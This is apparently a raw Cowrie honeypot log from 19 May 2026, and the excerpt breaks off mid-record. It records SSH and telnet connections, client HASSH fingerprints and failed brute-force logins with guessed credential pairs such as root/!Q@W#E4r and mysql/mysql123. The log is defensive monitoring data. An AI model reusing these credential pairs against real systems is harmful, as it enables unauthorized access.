{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:20.011355Z","src_ip":"193.37.70.224","session":"34677d3ef767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:20.294996Z","src_ip":"193.37.70.224","session":"34677d3ef767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.20649337768555,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:21.116664Z","src_ip":"192.119.13.58","session":"8628dbb8a474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:21.391812Z","src_ip":"193.37.70.224","session":"34677d3ef767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33590,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3206f54612c","protocol":"telnet","message":"New connection: 192.119.13.58:33590 (10.17.0.5:23) [session: f3206f54612c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:21.788325Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34746,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab5d14da9fb","protocol":"telnet","message":"New connection: 192.119.13.58:34746 (10.17.0.5:23) [session: 3ab5d14da9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:22.069808Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36808,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c05e5feb69a","protocol":"telnet","message":"New connection: 192.119.13.58:36808 (10.17.0.5:23) [session: 1c05e5feb69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:22.634579Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":37963,"dst_ip":"159.203.135.109","dst_port":22,"session":"32174477f185","protocol":"ssh","message":"New connection: 103.24.63.85:37963 (159.203.135.109:22) [session: 32174477f185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:22.657651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:22.662198Z","src_ip":"103.24.63.85","session":"32174477f185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:22.868400Z","src_ip":"103.24.63.85","session":"32174477f185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:23.735243Z","src_ip":"103.24.63.85","session":"32174477f185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:24.943743Z","src_ip":"103.24.63.85","session":"32174477f185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":21118,"dst_ip":"159.203.135.109","dst_port":22,"session":"251076d8b175","protocol":"ssh","message":"New connection: 165.154.23.26:21118 (159.203.135.109:22) [session: 251076d8b175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:26.107670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:26.113307Z","src_ip":"165.154.23.26","session":"251076d8b175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:26.338610Z","src_ip":"165.154.23.26","session":"251076d8b175","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W#E4r","message":"login attempt [root/!Q@W#E4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:27.231938Z","src_ip":"165.154.23.26","session":"251076d8b175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.3169891834259,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:27.324742Z","src_ip":"192.119.13.58","session":"7782244fd2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":39242,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9b8dd4198b2","protocol":"ssh","message":"New connection: 194.59.206.2:39242 (10.17.0.5:22) [session: d9b8dd4198b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:28.407671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:28.412392Z","src_ip":"194.59.206.2","session":"d9b8dd4198b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:28.458302Z","src_ip":"165.154.23.26","session":"251076d8b175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:28.507197Z","src_ip":"194.59.206.2","session":"d9b8dd4198b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:28.602066Z","src_ip":"194.59.206.2","session":"d9b8dd4198b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.55551290512085,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:30.482212Z","src_ip":"192.119.13.58","session":"207a9a00fed8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40132,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d858c772e6","protocol":"telnet","message":"New connection: 192.119.13.58:40132 (10.17.0.5:23) [session: 82d858c772e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:30.518662Z"}
{"eventid":"cowrie.session.closed","duration":0.0050694942474365234,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:30.523592Z","src_ip":"192.119.13.58","session":"82d858c772e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36831831932068,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:36.642122Z","src_ip":"192.119.13.58","session":"56f786b0e60e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42538,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b0c3973063","protocol":"telnet","message":"New connection: 192.119.13.58:42538 (10.17.0.5:23) [session: b7b0c3973063]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:37.780663Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":43484,"dst_ip":"159.203.135.109","dst_port":22,"session":"13df32ac69aa","protocol":"ssh","message":"New connection: 103.24.63.85:43484 (159.203.135.109:22) [session: 13df32ac69aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:38.298802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:38.303411Z","src_ip":"103.24.63.85","session":"13df32ac69aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:38.501650Z","src_ip":"103.24.63.85","session":"13df32ac69aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:39.092242Z","src_ip":"103.24.63.85","session":"13df32ac69aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:40.288010Z","src_ip":"103.24.63.85","session":"13df32ac69aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.6269690990448,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:40.635761Z","src_ip":"192.119.13.58","session":"1861a4598cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.90589451789856,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:49.475910Z","src_ip":"192.119.13.58","session":"7314a521c0be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39916,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a296edb0f8","protocol":"telnet","message":"New connection: 192.119.13.58:39916 (10.17.0.5:23) [session: c6a296edb0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:50.875639Z"}
{"eventid":"cowrie.session.closed","duration":30.801644325256348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:52.589864Z","src_ip":"192.119.13.58","session":"f3206f54612c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.57532548904419,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.147116Z","src_ip":"192.119.13.58","session":"764df1b27b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.49379110336304,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.455169Z","src_ip":"192.119.13.58","session":"790b9033a519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":50273,"dst_ip":"159.203.135.109","dst_port":22,"session":"98a50868be0b","protocol":"ssh","message":"New connection: 103.24.63.85:50273 (159.203.135.109:22) [session: 98a50868be0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.636421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.672263Z","src_ip":"103.24.63.85","session":"98a50868be0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.75463104248047,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.824108Z","src_ip":"192.119.13.58","session":"3ab5d14da9fb","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:53.867545Z","src_ip":"103.24.63.85","session":"98a50868be0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:54.853253Z","src_ip":"103.24.63.85","session":"98a50868be0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:56.057121Z","src_ip":"103.24.63.85","session":"98a50868be0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33942,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1eef0de3284","protocol":"telnet","message":"New connection: 192.119.13.58:33942 (10.17.0.5:23) [session: d1eef0de3284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:56.449023Z"}
{"eventid":"cowrie.session.closed","duration":37.07245206832886,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:13:56.691631Z","src_ip":"192.119.13.58","session":"70fc64d0f5e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.646538496017456,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:00.575336Z","src_ip":"192.119.13.58","session":"a404564a6af8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.37226915359497,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:01.006692Z","src_ip":"192.119.13.58","session":"1c05e5feb69a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40652,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0346195e3a4","protocol":"telnet","message":"New connection: 192.119.13.58:40652 (10.17.0.5:23) [session: a0346195e3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:05.324945Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":14723,"dst_ip":"159.203.135.109","dst_port":22,"session":"eecad0d7f9a5","protocol":"ssh","message":"New connection: 103.24.63.85:14723 (159.203.135.109:22) [session: eecad0d7f9a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:08.888374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:08.893228Z","src_ip":"103.24.63.85","session":"eecad0d7f9a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55756,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc151432652e","protocol":"telnet","message":"New connection: 192.119.13.58:55756 (10.17.0.5:23) [session: cc151432652e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:14:09.015516Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh